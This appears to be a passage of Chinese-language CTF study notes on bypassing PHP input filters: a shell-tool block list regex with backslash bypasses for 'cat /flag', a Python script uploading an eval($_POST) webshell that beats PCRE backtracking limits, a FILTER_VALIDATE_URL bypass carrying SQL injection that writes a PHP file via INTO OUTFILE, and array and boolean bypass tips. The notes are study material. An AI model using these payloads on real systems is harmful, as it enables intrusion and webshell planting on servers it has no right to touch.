if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\|||{|}|\(|\)|-|<|>/i", cmd)) { | |
echo("forbid ~"); | |
echo "<br>"; | |
} | |
$cmd=ca\t%20/flag // 可以绕过对 cat 的正则 | |
$cmd=l\s%20/ // 可以绕过对 ls 的正则 | |
?> |
PHP 利用 PCRE 回溯次数绕过限制
正则匹配中的某些字符对于被匹配字符串出现可匹配也可不匹配的情况,那么先不匹配,让下一个正则表达式的字符去匹配,如果无法匹配则让该字符匹配字符串称为一次回溯,但正则匹配有回溯次数的限制,一般利用脚本提交 10000 个字符差不多可以超过回溯次数绕过正则
import requests | |
from io import BytesIO | |
files = { | |
'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000) | |
} | |
res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False) | |
print(res.headers) |
-
# 数组绕过
preg_match
只匹配字符串不匹配数组 ,传入数组时返回 false
相关题目:
[安洵杯 2019]easy_web
# 无字母数字的 webshell
- filter_var
使用特定的过滤器过滤一个变量
php filter 参考手册
FILTER_VALIDATE_URL:(web406)
http/https 协议不支持后面带有符号,所以我们绕过这个函数的时候一般选择任何其他协议不选择 http,其他协议支持符号,我们便可以构造自己的 sql
语句等
?url=0://www.baidu.com;'union/**/select/**/1,0x33C3F70687020726571756972652027636F6E6669672E706870273B2473716C3D2773656C65637420666C61672066726F6D20666C616720696E746F206F757466696C6520222F7661722F7777772F68746D6C2F31302E74787422273B24726573756C74203D2024636F6E6E2D3E7175657279282473716C293B7661725F64756D702824726573756C74293B3F3E/**/into/**/outfile/**/"/var/www/html/1.php"/**/%23; |
- 注意:这里有了
;
前边不能是 http 和 https 协议,可以是其他协议,url 并不只有 http,
相关题目: ctfshow web406-408
FILTER_VALIDATE_EMAIL(web408)
检查变量是否属于 EMAIL
格式
绕过:非法字符放在 "" 可以绕过检测
FILTER_VALIDATE_BOOLEAN
把值作为布尔选项来验证。如果是 “1”、“true”、“on” 和 “yes”,则返回 TRUE。如果是 “0”、“false”、“off”、“no” 和 “”,则返回 FALSE。否则返回 NULL。
- 过滤了 1 和 true 可以用 on 和 yes 绕过
# 语法绕过
- 提前闭合源文件
?>
提前闭合源文件的 <?php
, 之后再新创 <?php?>